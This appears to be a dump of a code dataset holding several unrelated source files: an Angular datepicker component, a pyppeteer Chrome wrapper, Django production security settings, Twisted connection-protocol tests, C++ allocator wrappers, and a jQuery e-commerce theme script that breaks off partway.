text
stringlengths
3
1.05M
import { Component, Input, Output, EventEmitter } from '@angular/core'; import { NgbDate } from './ngb-date'; import { toInteger } from '../util/util'; import { NgbDatepickerI18n } from './datepicker-i18n'; import { NgbCalendar } from './ngb-calendar'; export var NgbDatepickerNavigationSelect = (function () { function NgbDatepickerNavigationSelect(i18n, calendar) { this.i18n = i18n; this.years = []; this.select = new EventEmitter(); this.months = calendar.getMonths(); } NgbDatepickerNavigationSelect.prototype.ngOnChanges = function (changes) { if (changes['maxYear'] || changes['minYear']) { this._generateYears(); } }; NgbDatepickerNavigationSelect.prototype.changeMonth = function (month) { this.select.emit(new NgbDate(this.date.year, toInteger(month), 1)); }; NgbDatepickerNavigationSelect.prototype.changeYear = function (year) { this.select.emit(new NgbDate(toInteger(year), this.date.month, 1)); }; NgbDatepickerNavigationSelect.prototype._generateYears = function () { var _this = this; this.years = Array.from({ length: this.maxYear - this.minYear + 1 }, function (e, i) { return _this.minYear + i; }); }; NgbDatepickerNavigationSelect.decorators = [ { type: Component, args: [{ selector: 'ngb-datepicker-navigation-select', styles: ["\n select {\n /* to align with btn-sm */\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem; \n line-height: 1.25;\n width: 50%;\n }\n "], template: "\n <select [disabled]=\"disabled\" class=\"custom-select d-inline-block\" [value]=\"date.month\" (change)=\"changeMonth($event.target.value)\">\n <option *ngFor=\"let m of months\" [value]=\"m\">{{ i18n.getMonthName(m) }}</option>\n </select>" + "<select [disabled]=\"disabled\" class=\"custom-select d-inline-block\" [value]=\"date.year\" (change)=\"changeYear($event.target.value)\">\n <option *ngFor=\"let y of years\" [value]=\"y\">{{ y }}</option>\n </select> \n " // template needs to be formatted in a certain way so we don't add empty text nodes },] }, ]; /** @nocollapse */ NgbDatepickerNavigationSelect.ctorParameters = [ { type: NgbDatepickerI18n, }, { type: NgbCalendar, }, ]; NgbDatepickerNavigationSelect.propDecorators = { 'date': [{ type: Input },], 'disabled': [{ type: Input },], 'maxYear': [{ type: Input },], 'minYear': [{ type: Input },], 'select': [{ type: Output },], }; return NgbDatepickerNavigationSelect; }()); //# sourceMappingURL=datepicker-navigation-select.js.map
import os from sys import platform import pyppeteer import pyppeteer.chromium_downloader from pyppeteer.browser import Browser from osbot_browser.chrome.Chrome_Args import Chrome_Args from osbot_browser.chrome.Chrome_Setup import Chrome_Setup class Chrome(): def __init__(self, headless=True, osx_chrome_version='884014'): self.options : dict = self.default_options() self._browser : Browser = None self.chrome_args : Chrome_Args = Chrome_Args() self.chrome_setup : Chrome_Setup = Chrome_Setup(chrome_args=self.chrome_args,options=self.options) # todo: move value below to a global config CONST value #self.osx_set_chrome_version('722234') # 'HeadlessChrome/80.0.3987.0' (May 2020) #self.osx_set_chrome_version('800071') # 'HeadlessChrome/86.0.4240.0' (Sep 2020) #self.osx_set_chrome_version('848005') # 'HeadlessChrome/90.0.4403.0' (Feb 2021) #self.osx_set_chrome_version('884014') # 'HeadlessChrome/90.0.4403.0' (Feb 2021) self.osx_set_chrome_version(osx_chrome_version) self.headless(headless) def default_options(self): options = { "headless" : True, # run with no UI "auto_close" : True, # auto close the chrome process after parent process stops (like in a unit test) "new_process" : True, # start a new chrome process every time "path_headless_shell": None, # use pyppeteer executable "slowMo" : 0 } return options async def browser(self): if self._browser is None: self._browser = await self.chrome_setup.browser_setup() return self._browser async def close(self): browser = await self.browser() if browser: await browser.close() return self # utils methods async def connection(self): return (await self.browser())._connection.connection async def page(self): browser = await self.browser() return (await browser.pages()).pop() async def port(self): return (await self.connection()).remote_address[1] async def ws_endpoint(self): return (await self.browser()).wsEndpoint #return browser._connection.connection.port #return self.sync_browser(). async def version(self): return await (await self.browser()).version() # sync methods def keep_open(self): self.options['auto_close' ] = False self.options['new_process'] = False return self def headless(self, value=True): self.options['headless' ] = value self.options['auto_close' ] = value self.options['new_process'] = value return self def ignore_cert_errors(self): self.chrome_args.args_append('--ignore-certificate-errors') return self def slow_chrome_by(self, value): self.options['slowMo'] = value return self def sync(self): from osbot_browser.chrome.Chrome_Sync import Chrome_Sync return Chrome_Sync(self) # see https://awesomeopensource.com/project/alixaxel/chrome-aws-lambda for a good list of value chrome_version values def osx_set_chrome_version(self, chrome_version): if platform == "darwin" and chrome_version: from pathlib import Path original_version = pyppeteer.__chromium_revision__ os.environ['PYPPETEER_CHROMIUM_REVISION'] = chrome_version pyppeteer.__chromium_revision__ = chrome_version pyppeteer.chromium_downloader.REVISION = chrome_version pyppeteer.chromium_downloader.chromiumExecutable["mac"] = Path(str(pyppeteer.chromium_downloader.chromiumExecutable["mac"]).replace(original_version, chrome_version)) pyppeteer.chromium_downloader.downloadURLs["mac"] = str(pyppeteer.chromium_downloader.downloadURLs["mac"]).replace(original_version, chrome_version) return self
from scaffold.settings import * CSRF_COOKIE_SECURE = True SESSION_COOKIE_SECURE = True SECURE_HSTS_SECONDS = 2592000 #30 days SECURE_HSTS_INCLUDE_SUBDOMAINS = True SECURE_FRAME_DENY = True SECURE_CONTENT_TYPE_NOSNIFF = True SECURE_BROWSER_XSS_FILTER = True SECURE_SSL_REDIRECT = True SECURE_REDIRECT_EXEMPT = [ # App Engine doesn't use HTTPS internally, so the /_ah/.* URLs need to be exempt. # djangosecure compares these to request.path.lstrip("/"), hence the lack of preceding / r"^_ah/" ] SECURE_CHECKS += ["scaffold.checks.check_csp_sources_not_unsafe"] # CSP settings for production (DEBUG=False) mode. CSP_DEFAULT_SRC = copy.copy( DEFAULT_CSP_DEFAULT_SRC ) CSP_STYLE_SRC = copy.copy( DEFAULT_CSP_STYLE_SRC ) CSP_FONT_SRC = copy.copy( DEFAULT_CSP_FONT_SRC ) CSP_FRAME_SRC = copy.copy( DEFAULT_CSP_FRAME_SRC ) CSP_SCRIPT_SRC = copy.copy( DEFAULT_CSP_SCRIPT_SRC ) CSP_IMG_SRC = copy.copy( DEFAULT_CSP_IMG_SRC ) CSP_CONNECT_SRC = copy.copy( DEFAULT_CSP_CONNECT_SRC ) DEBUG = False TEMPLATE_DEBUG = False
from __future__ import print_function, unicode_literals import mock from zope.interface import alsoProvides from twisted.trial import unittest from twisted.internet.task import Clock from twisted.internet.interfaces import ITransport from ...eventual import EventualQueue from ..._interfaces import IDilationConnector from ..._dilation.roles import LEADER, FOLLOWER from ..._dilation.connection import (DilatedConnectionProtocol, encode_record, KCM, Open, Ack) from ..._dilation.encode import to_be4 from .common import clear_mock_calls def make_con(role, use_relay=False): clock = Clock() eq = EventualQueue(clock) connector = mock.Mock() alsoProvides(connector, IDilationConnector) n = mock.Mock() # pretends to be a Noise object n.write_message = mock.Mock(side_effect=[b"handshake"]) c = DilatedConnectionProtocol(eq, role, "desc", connector, n, b"outbound_prologue\n", b"inbound_prologue\n") if use_relay: c.use_relay(b"relay_handshake\n") t = mock.Mock() alsoProvides(t, ITransport) return c, n, connector, t, eq class Connection(unittest.TestCase): def test_hashable(self): c, n, connector, t, eq = make_con(LEADER) hash(c) def test_bad_prologue(self): c, n, connector, t, eq = make_con(LEADER) c.makeConnection(t) d = c.when_disconnected() self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"outbound_prologue\n")]) clear_mock_calls(n, connector, t) c.dataReceived(b"prologue\n") self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.loseConnection()]) eq.flush_sync() self.assertNoResult(d) c.connectionLost(b"why") eq.flush_sync() self.assertIdentical(self.successResultOf(d), c) def _test_no_relay(self, role): c, n, connector, t, eq = make_con(role) t_kcm = KCM() t_open = Open(seqnum=1, scid=to_be4(0x11223344)) t_ack = Ack(resp_seqnum=2) n.decrypt = mock.Mock(side_effect=[ encode_record(t_kcm), encode_record(t_open), ]) exp_kcm = b"\x00\x00\x00\x03kcm" n.encrypt = mock.Mock(side_effect=[b"kcm", b"ack1"]) m = mock.Mock() # Manager c.makeConnection(t) self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"outbound_prologue\n")]) clear_mock_calls(n, connector, t, m) c.dataReceived(b"inbound_prologue\n") exp_handshake = b"\x00\x00\x00\x09handshake" if role is LEADER: # the LEADER sends the Noise handshake message immediately upon # receipt of the prologue self.assertEqual(n.mock_calls, [mock.call.write_message()]) self.assertEqual(t.mock_calls, [mock.call.write(exp_handshake)]) else: # however the FOLLOWER waits until receiving the leader's # handshake before sending their own self.assertEqual(n.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(connector.mock_calls, []) clear_mock_calls(n, connector, t, m) c.dataReceived(b"\x00\x00\x00\x0Ahandshake2") if role is LEADER: # we're the leader, so we don't send the KCM right away self.assertEqual(n.mock_calls, [ mock.call.read_message(b"handshake2")]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(c._manager, None) else: # we're the follower, so we send our Noise handshake, then # encrypt and send the KCM immediately self.assertEqual(n.mock_calls, [ mock.call.read_message(b"handshake2"), mock.call.write_message(), mock.call.encrypt(encode_record(t_kcm)), ]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [ mock.call.write(exp_handshake), mock.call.write(exp_kcm)]) self.assertEqual(c._manager, None) clear_mock_calls(n, connector, t, m) c.dataReceived(b"\x00\x00\x00\x03KCM") # leader: inbound KCM means we add the candidate # follower: inbound KCM means we've been selected. # in both cases we notify Connector.add_candidate(), and the Connector # decides if/when to call .select() self.assertEqual(n.mock_calls, [mock.call.decrypt(b"KCM")]) self.assertEqual(connector.mock_calls, [mock.call.add_candidate(c)]) self.assertEqual(t.mock_calls, []) clear_mock_calls(n, connector, t, m) # now pretend this connection wins (either the Leader decides to use # this one among all the candiates, or we're the Follower and the # Connector is reacting to add_candidate() by recognizing we're the # only candidate there is) c.select(m) self.assertIdentical(c._manager, m) if role is LEADER: # TODO: currently Connector.select_and_stop_remaining() is # responsible for sending the KCM just before calling c.select() # iff we're the LEADER, therefore Connection.select won't send # anything. This should be moved to c.select(). self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(m.mock_calls, []) c.send_record(KCM()) self.assertEqual(n.mock_calls, [ mock.call.encrypt(encode_record(t_kcm)), ]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(exp_kcm)]) self.assertEqual(m.mock_calls, []) else: # follower: we already sent the KCM, do nothing self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(m.mock_calls, []) clear_mock_calls(n, connector, t, m) c.dataReceived(b"\x00\x00\x00\x04msg1") self.assertEqual(n.mock_calls, [mock.call.decrypt(b"msg1")]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(m.mock_calls, [mock.call.got_record(t_open)]) clear_mock_calls(n, connector, t, m) c.send_record(t_ack) exp_ack = b"\x06\x00\x00\x00\x02" self.assertEqual(n.mock_calls, [mock.call.encrypt(exp_ack)]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"\x00\x00\x00\x04ack1")]) self.assertEqual(m.mock_calls, []) clear_mock_calls(n, connector, t, m) c.disconnect() self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.loseConnection()]) self.assertEqual(m.mock_calls, []) clear_mock_calls(n, connector, t, m) def test_no_relay_leader(self): return self._test_no_relay(LEADER) def test_no_relay_follower(self): return self._test_no_relay(FOLLOWER) def test_relay(self): c, n, connector, t, eq = make_con(LEADER, use_relay=True) c.makeConnection(t) self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"relay_handshake\n")]) clear_mock_calls(n, connector, t) c.dataReceived(b"ok\n") self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"outbound_prologue\n")]) clear_mock_calls(n, connector, t) c.dataReceived(b"inbound_prologue\n") self.assertEqual(n.mock_calls, [mock.call.write_message()]) self.assertEqual(connector.mock_calls, []) exp_handshake = b"\x00\x00\x00\x09handshake" self.assertEqual(t.mock_calls, [mock.call.write(exp_handshake)]) clear_mock_calls(n, connector, t) def test_relay_jilted(self): c, n, connector, t, eq = make_con(LEADER, use_relay=True) d = c.when_disconnected() c.makeConnection(t) self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"relay_handshake\n")]) clear_mock_calls(n, connector, t) c.connectionLost(b"why") eq.flush_sync() self.assertIdentical(self.successResultOf(d), c) def test_relay_bad_response(self): c, n, connector, t, eq = make_con(LEADER, use_relay=True) c.makeConnection(t) self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"relay_handshake\n")]) clear_mock_calls(n, connector, t) c.dataReceived(b"not ok\n") self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.loseConnection()]) clear_mock_calls(n, connector, t) def test_follower_combined(self): c, n, connector, t, eq = make_con(FOLLOWER) t_kcm = KCM() t_open = Open(seqnum=1, scid=to_be4(0x11223344)) n.decrypt = mock.Mock(side_effect=[ encode_record(t_kcm), encode_record(t_open), ]) exp_kcm = b"\x00\x00\x00\x03kcm" n.encrypt = mock.Mock(side_effect=[b"kcm", b"ack1"]) m = mock.Mock() # Manager c.makeConnection(t) self.assertEqual(n.mock_calls, [mock.call.start_handshake()]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [mock.call.write(b"outbound_prologue\n")]) clear_mock_calls(n, connector, t, m) c.dataReceived(b"inbound_prologue\n") exp_handshake = b"\x00\x00\x00\x09handshake" # however the FOLLOWER waits until receiving the leader's # handshake before sending their own self.assertEqual(n.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(connector.mock_calls, []) clear_mock_calls(n, connector, t, m) c.dataReceived(b"\x00\x00\x00\x0Ahandshake2") # we're the follower, so we send our Noise handshake, then # encrypt and send the KCM immediately self.assertEqual(n.mock_calls, [ mock.call.read_message(b"handshake2"), mock.call.write_message(), mock.call.encrypt(encode_record(t_kcm)), ]) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, [ mock.call.write(exp_handshake), mock.call.write(exp_kcm)]) self.assertEqual(c._manager, None) clear_mock_calls(n, connector, t, m) # the leader will select a connection, send the KCM, and then # immediately send some more data kcm_and_msg1 = (b"\x00\x00\x00\x03KCM" + b"\x00\x00\x00\x04msg1") c.dataReceived(kcm_and_msg1) # follower: inbound KCM means we've been selected. # in both cases we notify Connector.add_candidate(), and the Connector # decides if/when to call .select() self.assertEqual(n.mock_calls, [mock.call.decrypt(b"KCM"), mock.call.decrypt(b"msg1")]) self.assertEqual(connector.mock_calls, [mock.call.add_candidate(c)]) self.assertEqual(t.mock_calls, []) clear_mock_calls(n, connector, t, m) # now pretend this connection wins (either the Leader decides to use # this one among all the candiates, or we're the Follower and the # Connector is reacting to add_candidate() by recognizing we're the # only candidate there is) c.select(m) self.assertIdentical(c._manager, m) # follower: we already sent the KCM, do nothing self.assertEqual(n.mock_calls, []) self.assertEqual(connector.mock_calls, []) self.assertEqual(t.mock_calls, []) self.assertEqual(m.mock_calls, [mock.call.got_record(t_open)]) clear_mock_calls(n, connector, t, m)
#pragma once #include <tuple> #include <thread> #include <set> // std::set #include <functional> // std::function #include <utility> // std::forward #include <cstddef> #include <cassert> // assert #include <type_traits> // std::aligned_storage_t #include <new> // ::new #include "def.h" #include "rw_lock.h" #include "tls_pointer.h" #include "concept.h" #include "memory/alloc.h" #include "platform/detail.h" namespace ipc { namespace mem { //////////////////////////////////////////////////////////////// /// Thread-safe allocation wrapper //////////////////////////////////////////////////////////////// namespace detail { IPC_CONCEPT_(is_comparable, operator<(std::declval<Type>())); } // namespace detail template <typename AllocP, bool = detail::is_comparable<AllocP>::value> class limited_recycler; template <typename AllocP> class limited_recycler<AllocP, true> { public: using alloc_policy = AllocP; protected: template <typename T> struct fixed_alloc_t : public fixed_alloc<sizeof(T)> {}; template <typename T> using allocator = ipc::mem::allocator_wrapper<T, fixed_alloc_t<T>>; std::multiset<alloc_policy, std::less<alloc_policy>, allocator<alloc_policy> > master_allocs_; ipc::spin_lock master_lock_; template <typename F> void take_first_do(F && pred) { auto it = master_allocs_.begin(); pred(const_cast<alloc_policy&>(*it)); master_allocs_.erase(it); } public: void swap(limited_recycler & rhs) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(master_lock_); master_allocs_.swap(rhs.master_allocs_); } void try_recover(alloc_policy & alc) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(master_lock_); if (master_allocs_.empty()) return; take_first_do([&alc](alloc_policy & first) { alc.swap(first); }); } void collect(alloc_policy && alc) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(master_lock_); if (master_allocs_.size() >= 32) { take_first_do([](alloc_policy &) {}); // erase first } master_allocs_.emplace(std::move(alc)); } IPC_CONSTEXPR_ auto try_replenish(alloc_policy&, std::size_t) noexcept {} }; template <typename AllocP> class default_recycler : public limited_recycler<AllocP> { IPC_CONCEPT_(has_remain, remain()); IPC_CONCEPT_(has_empty , empty()); template <typename A> void try_fill(A & alc) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(this->master_lock_); if (this->master_allocs_.empty()) return; this->take_first_do([&alc](alloc_policy & first) { alc.take(std::move(first)); }); } public: using alloc_policy = typename limited_recycler<AllocP>::alloc_policy; template <typename A = AllocP> auto try_replenish(alloc_policy & alc, std::size_t size) -> ipc::require<detail::has_take<A>::value && has_remain<A>::value> { if (alc.remain() >= size) return; this->try_fill(alc); } template <typename A = AllocP> auto try_replenish(alloc_policy & alc, std::size_t /*size*/) -> ipc::require<detail::has_take<A>::value && !has_remain<A>::value && has_empty<A>::value> { if (!alc.empty()) return; this->try_fill(alc); } template <typename A = AllocP> auto try_replenish(alloc_policy & alc, std::size_t /*size*/) -> ipc::require<!detail::has_take<A>::value && has_empty<A>::value> { if (!alc.empty()) return; this->try_recover(alc); } template <typename A = AllocP> IPC_CONSTEXPR_ auto try_replenish(alloc_policy & /*alc*/, std::size_t /*size*/) noexcept -> ipc::require<(!detail::has_take<A>::value || !has_remain<A>::value) && !has_empty<A>::value> { // Do Nothing. } }; template <typename AllocP> class empty_recycler { public: using alloc_policy = AllocP; IPC_CONSTEXPR_ void swap(empty_recycler&) noexcept {} IPC_CONSTEXPR_ void try_recover(alloc_policy&) noexcept {} IPC_CONSTEXPR_ auto try_replenish(alloc_policy&, std::size_t) noexcept {} IPC_CONSTEXPR_ void collect(alloc_policy&&) noexcept {} }; template <typename AllocP, template <typename> class RecyclerP = default_recycler> class async_wrapper { public: using alloc_policy = AllocP; private: RecyclerP<alloc_policy> recycler_; class alloc_proxy : public AllocP { async_wrapper * w_ = nullptr; public: alloc_proxy(alloc_proxy && rhs) = default; template <typename ... P> alloc_proxy(async_wrapper* w, P && ... pars) : AllocP(std::forward<P>(pars) ...), w_(w) { assert(w_ != nullptr); w_->recycler_.try_recover(*this); } ~alloc_proxy() { w_->recycler_.collect(std::move(*this)); } auto alloc(std::size_t size) { w_->recycler_.try_replenish(*this, size); return AllocP::alloc(size); } }; friend class alloc_proxy; using ref_t = alloc_proxy&; using tls_t = tls::pointer<alloc_proxy>; tls_t tls_; std::function<ref_t()> get_alloc_; public: template <typename ... P> async_wrapper(P ... pars) { get_alloc_ = [this, pars ...]()->ref_t { return *tls_.create(this, pars ...); }; } void* alloc(std::size_t size) { return get_alloc_().alloc(size); } void free(void* p, std::size_t size) { get_alloc_().free(p, size); } }; //////////////////////////////////////////////////////////////// /// Thread-safe allocation wrapper (with spin_lock) //////////////////////////////////////////////////////////////// template <typename AllocP, typename MutexT = ipc::spin_lock> class sync_wrapper { public: using alloc_policy = AllocP; using mutex_type = MutexT; private: mutex_type lock_; alloc_policy alloc_; public: template <typename ... P> sync_wrapper(P && ... pars) : alloc_(std::forward<P>(pars) ...) {} void swap(sync_wrapper& rhs) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(lock_); alloc_.swap(rhs.alloc_); } void* alloc(std::size_t size) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(lock_); return alloc_.alloc(size); } void free(void* p, std::size_t size) { IPC_UNUSED_ auto guard = ipc::detail::unique_lock(lock_); alloc_.free(p, size); } }; //////////////////////////////////////////////////////////////// /// Variable memory allocation wrapper //////////////////////////////////////////////////////////////// template <std::size_t BaseSize = 0, std::size_t IterSize = sizeof(void*)> struct default_mapping_policy { enum : std::size_t { base_size = BaseSize, iter_size = IterSize, classes_size = 64 }; template <typename F, typename ... P> IPC_CONSTEXPR_ static void foreach(F f, P ... params) { for (std::size_t i = 0; i < classes_size; ++i) f(i, params...); } IPC_CONSTEXPR_ static std::size_t block_size(std::size_t id) noexcept { return (id < classes_size) ? (base_size + (id + 1) * iter_size) : 0; } template <typename F, typename D, typename ... P> IPC_CONSTEXPR_ static auto classify(F f, D d, std::size_t size, P ... params) { std::size_t id = (size - base_size - 1) / iter_size; return (id < classes_size) ? f(id, size, params...) : d(size, params...); } }; template <typename FixedAlloc, typename DefaultAlloc = mem::static_alloc, typename MappingP = default_mapping_policy<>> class variable_wrapper { struct initiator { std::aligned_storage_t< sizeof(FixedAlloc), alignof(FixedAlloc)> arr_[MappingP::classes_size]; initiator() { MappingP::foreach([](std::size_t id, initiator* t) { ::new (&(t->arr_[id])) FixedAlloc(MappingP::block_size(id)); }, this); } FixedAlloc& at(std::size_t id) { return reinterpret_cast<FixedAlloc&>(arr_[id]); } } init_; public: void swap(variable_wrapper & other) { MappingP::foreach([](std::size_t id, initiator* t, initiator* o) { t->at(id).swap(o->at(id)); }, &init_, &other.init_); } void* alloc(std::size_t size) { return MappingP::classify([](std::size_t id, std::size_t size, initiator* t) { return t->at(id).alloc(size); }, [](std::size_t size, initiator*) { return DefaultAlloc::alloc(size); }, size, &init_); } void free(void* p, std::size_t size) { MappingP::classify([](std::size_t id, std::size_t size, void* p, initiator* t) { t->at(id).free(p, size); }, [](std::size_t size, void* p, initiator*) { DefaultAlloc::free(p, size); }, size, p, &init_); } }; //////////////////////////////////////////////////////////////// /// Static allocation wrapper //////////////////////////////////////////////////////////////// template <typename AllocP> class static_wrapper { public: using alloc_policy = AllocP; static alloc_policy& instance() { static alloc_policy alloc; return alloc; } static void swap(static_wrapper&) {} static void* alloc(std::size_t size) { return instance().alloc(size); } static void free(void* p, std::size_t size) { instance().free(p, size); } }; } // namespace mem } // namespace ipc
/*-------------------------------------------------- Template Name: limupa; Description: limupa - Digital Products Store ECommerce Bootstrap 4 Template; Template URI:; Author Name:HasTech; Author URI:; Version: 1; Note: main.js, All Default Scripting Languages For This Theme Included In This File. ----------------------------------------------------- CSS INDEX ================ 01. Li's Meanmenu 02. Header Dropdown 03. Li's Sticky Menu Activation 04. Nice Select 05. Main Slider Activision 06. Li's Product Activision 07. Li's Product Activision 08. Countdown 09. Tooltip Active 10. Scroll Up 11. Category Menu 12. Li's Product Activision 13. FAQ Accordion 14. Toggle Function Active 15. Li's Blog Gallery Slider 16. Counter Js 17. Price slider 18. Category menu Activation 19. Featured Product active 20. Featured Product 2 active 21. Modal Menu Active 22. Cart Plus Minus Button 23. Single Prduct Carousel Activision 24. Star Rating Js 25. Zoom Product Venobox 26. WOW -----------------------------------------------------------------------------------*/ (function ($) { "use Strict"; /*----------------------------------------*/ /* 01. Li's Meanmenu /*----------------------------------------*/ jQuery(".hb-menu nav").meanmenu({ meanMenuContainer: ".mobile-menu", meanScreenWidth: "991" }); /*----------------------------------------*/ /* 02. Header Dropdown /*----------------------------------------*/ // Li's Dropdown Menu function getThumb($src) { return $src.replace(/(.*)(\/)(.*)$/, "$1/thumbs/$3"); } $( ".ht-setting-trigger, .ht-currency-trigger, .ht-language-trigger, .hm-minicart-trigger, .cw-sub-menu" ).on("click", function (e) { e.preventDefault(); var $t = $(this); if ($t.hasClass("hm-minicart-trigger")) { $.ajax({ type: "get", url: base_url + "cart/ajax", dataType: "json" }) .done(function (result) { var $html = ""; if (Array.isArray(result.data)) { result.data.forEach(function (data) { var quantity = data.quantity !== "undefined" && typeof data.quantity !== "undefined" ? " &times; " + data.quantity : ""; $html += '<li data-request="' + data.id + '">' + '<a href="' + base_url + 'product/' + data.id + '" class="minicart-product-image">' + '<img src="' + getThumb(data.images[0].image) + '" alt="cart products">' + "</a>" + '<div class="minicart-product-details">' + '<h6><a href="' + base_url + 'product/' + data.id + '">' + data.name + "</a></h6>" + "<span>" + data.current_price.toLocaleString("it-IT") + ".000 VNĐ</span>" + quantity + "</div>" + '<button class="close" title="Remove">' + '<i class="fa fa-close"></i>' + "</button>" + "</li>"; }); } $(".minicart-product-list").html($html); }) .fail(function () { return false; }); } setTimeout(function(){ $t.toggleClass("is-active"); $t.next().toggleClass("is-active"); }, 100); $t.siblings(".ht-setting, .ht-currency, .ht-language, .minicart, .cw-sub-menu li") .slideToggle(250); }); $(".ht-setting-trigger.is-active").siblings(".catmenu-body").slideDown(); /*----------------------------------------*/ /* 03. Li's Sticky Menu Activation /*----------------------------------------*/ $(window).on("scroll", function () { if ($(this).scrollTop() > 300) { $(".header-sticky").addClass("sticky"); } else { $(".header-sticky").removeClass("sticky"); } }); /*----------------------------------------*/ /* 04. Nice Select /*----------------------------------------*/ $(document).ready(function () { $(".nice-select").niceSelect(); }); /*----------------------------------------*/ /* 05. Main Slider Activision /*----------------------------------------*/ $(".slider-active").owlCarousel({ loop: true, margin: 0, nav: true, autoplay: true, items: 1, autoplayTimeout: 10000, navText: [ "<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>" ], dots: true, autoHeight: true, lazyLoad: true }); /*----------------------------------------*/ /* 06. Li's Product Activision /*----------------------------------------*/ $(".product-active").owlCarousel({ loop: true, nav: true, dots: false, autoplay: false, autoplayTimeout: 5000, navText: [ "<i class='fa fa-angle-left'></i>", "<i class='fa fa-angle-right'></i>" ], item: 5, responsive: { 0: { items: 1 }, 480: { items: 2 }, 768: { items: 3 }, 992: { items: 4 }, 1200: { items: 5 } } }); /*----------------------------------------*/ /* 07. Li's Product Activision /*----------------------------------------*/ $(".special-product-active").owlCarousel({ loop: true, nav: false, dots: false, autoplay: false, autoplayTimeout: 5000, navText: [ '<i class="fa fa-angle-left"></i>', '<i class="fa fa-angle-left"></i>' ], item: 4, responsive: { 0: { items: 1 }, 480: { items: 1 }, 768: { items: 2 }, 992: { items: 3 }, 1200: { items: 4 } } }); /*----------------------------------------*/ /* 08. Countdown /*----------------------------------------*/ $(".li-countdown").countdown("2019/12/01", function (event) { $(this).html( event.strftime( '<div class="count">%D <span>Days:</span></div> <div class="count">%H <span>Hours:</span></div> <div class="count">%M <span>Mins:</span></div><div class="count"> %S <span>Secs</span></div>' ) ); }); /*----------------------------------------*/ /* 09. Tooltip Active /*----------------------------------------*/ $(".product-action a, .social-link a").tooltip({ animated: "fade", placement: "top", container: "body" }); /*----------------------------------------*/ /* 10. Scroll Up /*----------------------------------------*/ $.scrollUp({ scrollText: '<i class="fa fa-angle-double-up"></i>', easingType: "linear", scrollSpeed: 2000 }); /*----------------------------------------*/ /* 11. Category Menu /*----------------------------------------*/ $(".rx-parent").on("click", function () { $(".rx-child").slideToggle(); $(this).toggleClass("rx-change"); }); // category heading $(".category-heading").on("click", function () { $(".category-menu-list").slideToggle(300); }); /*-- Category Menu Toggles --*/ function categorySubMenuToggle() { var screenSize = $(window).width(); if (screenSize <= 991) { $("#cate-toggle .right-menu > a").prepend( '<i class="expand menu-expand"></i>' ); $(".category-menu .right-menu ul").slideUp(); // $('.category-menu .menu-item-has-children i').on('click', function(e){ // e.preventDefault(); // $(this).toggleClass('expand'); // $(this).siblings('ul').css('transition', 'none').slideToggle(); // }) } else { $(".category-menu .right-menu > a i").remove(); $(".category-menu .right-menu ul").slideDown(); } } categorySubMenuToggle(); $(window).resize(categorySubMenuToggle); /*-- Category Sub Menu --*/ function categoryMenuHide() { var screenSize = $(window).width(); if (screenSize <= 991) { $(".category-menu-list").hide(); } else { $(".category-menu-list").show(); } } categoryMenuHide(); $(window).resize(categoryMenuHide); $(".category-menu-hidden") .find(".category-menu-list") .hide(); $(".category-menu-list").on("click", "li a, li a .menu-expand", function ( e ) { var $a = $(this).hasClass("menu-expand") ? $(this).parent() : $(this); if ($a.parent().hasClass("right-menu")) { if ($a.attr("href") === "#" || $(this).hasClass("menu-expand")) { if ($a.siblings("ul:visible").length > 0) $a.siblings("ul").slideUp(); else { $(this) .parents("li") .siblings("li") .find("ul:visible") .slideUp(); $a.siblings("ul").slideDown(); } } } if ($(this).hasClass("menu-expand") || $a.attr("href") === "#") { e.preventDefault(); return false; } }); /*----------------------------------------*/ /* 12. Li's Product Activision /*----------------------------------------*/ $(".li-featured-product-active").owlCarousel({ loop: true, nav: false, dots: false, margin: 30, autoplay: false, autoplayTimeout: 5000, navText: [ '<i class="fa fa-angle-left"></i>', '<i class="fa fa-angle-left"></i>' ], item: 2, responsive: { 0: { items: 1 }, 480: { items: 2 }, 768: { items: 2 }, 992: { items: 2 }, 1200: { items: 2 } } }); /*----------------------------------------*/ /* 13. FAQ Accordion /*----------------------------------------*/ $(".card-header a").on("click", function () { $(".card").removeClass("actives"); $(this) .parents(".card") .addClass("actives"); }); /*----------------------------------------*/ /* 14. 